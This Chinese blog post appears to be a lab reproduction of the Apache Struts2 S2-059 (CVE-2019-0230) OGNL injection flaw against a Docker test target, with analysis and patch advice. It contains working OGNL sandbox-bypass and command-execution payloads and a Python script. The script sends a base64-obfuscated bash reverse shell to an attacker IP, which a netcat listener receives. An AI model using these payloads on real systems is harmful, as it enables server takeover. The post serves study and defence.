Apache Struts2 S2-059 远程代码执行漏洞 (CVE-2019-0230) 复现

本文针对 Apache Struts2 S2-059 (CVE-2019-0230) 远程代码执行漏洞进行了深度复现与原理分析。该漏洞源于 Struts2 标签库对 OGNL(Object-Graph Navigation Language) 表达式的二次解析缺陷,当开发者在标签属性中错误地引用了受攻击者控制的原始输入时,攻击者可以通过构造恶意的 OGNL 表达式绕过沙箱限制,最终在目标服务器上实现任意代码执行。

漏洞基础信息

项目 详情
漏洞编号 S2-059、CVE-2019-0230、CNNVD-202008-743
漏洞等级 高危 (CVSS 评分:8.5)
发布时间 2020 年 8 月 13 日 (Apache 官方公告)
影响版本 Apache Struts2:2.0.0-2.5.20
漏洞类型 OGNL 表达式注入 → 远程代码执行 (RCE)
发现者 苹果信息安全部门的 Matthias Kaiser

漏洞复现

漏洞利用条件

该漏洞利用限制较多,需同时满足以下条件:

  1. altSyntax 功能开启:默认在高版本中已关闭
  2. 特定标签:继承AbstractUITag类的标签(如<s:a><s:label>等)
  3. 特定属性:仅id属性会被二次解析(其他属性直接赋值)
  4. 可控输入:标签id属性使用%{...}表达式,且表达式内变量(如skillName)可被用户控制
  5. 无安全验证:应用未对用户输入进行 OGNL 表达式过滤或安全校验

复现环境准备

S2-059 利用条件苛刻,手动搭建易出错,优先使用现成的 Docker 镜像:

# 安装Docker和docker-compose
apt install docker.io docker-compose

# 将 Vulhub 项目克隆到本地
git clone https://github.com/vulhub/vulhub.git

# 拉取镜像并启动容器
cd vulhub/struts2/s2-059
docker-compose up -d

# 确认容器启动状态
docker ps | grep s2-059

9210c78f5333   vulhub/struts2:2.5.16   "/usr/local/bin/mvn-…"   3 minutes ago   Up 3 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   s2-059-struts2-1

启动成功后,访问 http://target-IP:8080,能看到 Struts2 测试页面即环境就绪。

网页demo

测试漏洞

构造请求:http://target-IP:8080/?id=%25{6*6},F12查看元素会发现id的值变成了36。

id36

其中:

?id=:HTTP 请求的参数键值对,id 是参数名(对应 S2-059 漏洞中可触发二次解析的标签id属性);

%25{6*6}%25 是字符 % 的 URL 编码,%{6*6}为OGNL 表达式模板(S2-059 漏洞中,开启altSyntax后,%{}包裹的内容会被当作 OGNL 表达式解析);

注:如果此处测试请求为%25{1+1},按 HTTP 标准(RFC 3986),参数中的 + 号会被自动解码为 空格;最终服务器实际接收到的 id 参数值是 %{1 1}

攻击过程

突破安全限制

这是 S2-059(2.5.20 版本)远程代码执行的前置必要步骤,没有这一步,所有命令执行 POC 都会被沙箱拦截,最终无结果 / 报错。核心目的是突破 Struts2 内置的安全限制,2.5.20 版本为了防御 OGNL 注入,会通过OgnlUtil类维护 “禁止访问的类 / 包名单”(比如java.lang.Runtimejava.io等敏感类)。

OGNL 表达式为:

%{
(#context=#attr['struts.valueStack'].context).
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.setExcludedClasses('')).
(#ognlUtil.setExcludedPackageNames(''))
}
  • (#context=#attr['struts.valueStack'].context):获取 Struts2 上下文对象,相当于拿到系统的总控制入口。struts.valueStack是 Struts2 的核心对象,存储了请求的所有上下文信息;#attr是 OGNL 中访问页面属性的关键字
  • (#container=#context['com.opensymphony.xwork2.ActionContext.container']):从上下文里拿到 “容器对象”,这个对象管理着 Struts2 所有工具类的实例。ActionContext.container是 Struts2 的 IOC 容器,负责创建 / 管理核心工具类(如OgnlUtil
  • (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)):获取 OGNL 工具类。OgnlUtil是控制 OGNL 沙箱黑名单的核心类,getInstance()是容器的实例获取方法;@类名@class是 OGNL 中访问静态类的语法
  • (#ognlUtil.setExcludedClasses('')):清空黑名单类。setExcludedClasses('')将沙箱的 “禁止类名单” 设为空字符串,默认黑名单包含RuntimeProcess等敏感类。

编码后的URL为:

http://target-IP:8080/?id=%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.setExcludedClasses('')).(%23ognlUtil.setExcludedPackageNames(''))%7D

任意命令执行(反弹shell)

OGNL 表达式为:

%{
(#context=#attr['struts.valueStack'].context).
(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).
(@java.lang.Runtime@getRuntime().exec('command'))
}

这个表达式比上文更为简洁、更底层的写法,可以实现权限绕过 + 命令执行

  • (#context=#attr['struts.valueStack'].context):获取 Struts2 上下文对象。
  • #context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)):取消所有对 “私有方法、静态方法、敏感类” 的访问限制。@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS:OGNL 的默认权限实例,无任何访问限制(允许调用私有方法、静态方法、任意类);这一步替代了 “清空 OgnlUtil 黑名单” 的操作,是更底层的权限绕过方式。
  • @java.lang.Runtime@getRuntime().exec('command'):调用 Java 的核心类执行任意系统命令。

攻击机监听:

nc -lvvp 6666

使用Base64 在线编码解码将原始命令编码,是绕过命令检测机制的最简单初级的方法:

base64编码

编写Python脚本:

import requests
url = "target-IP:8080"
data = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'))}"
}
res = requests.post(url, data=data)

反弹成功,可以看到容器id9210c78f5333正是靶机的id:

nc

漏洞修复方案

  • 升级版本:Apache Struts2 官方已发布修复版本2.5.22(建议直接升级到最新稳定版)
  • 修复方式:在UIBean类的populateComponentHtmlId()方法中,对id值使用findStringIfAltSyntax时添加额外判断,避免二次解析

附录

Docker换源

sudo tee /etc/docker/daemon.json <<-'EOF'
{
  "registry-mirrors": [
    "https://docker.m.daocloud.io",
    "https://reg-mirror.qiniu.com",
    "https://docker.1panel.live"
  ]}
EOF
# 重启Docker生效
sudo systemctl daemon-reload
sudo systemctl restart docker

阿里云提供个人专属镜像源,速度更快且更稳定。登录阿里云控制台,在「镜像加速器」板块获取专属的镜像地址替换上面的阿里云地址 阿里云镜像加速器的使用存在严格的环境限制—— 它并非对所有网络环境开放,仅面向阿里云用户的公网阿里云产品。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇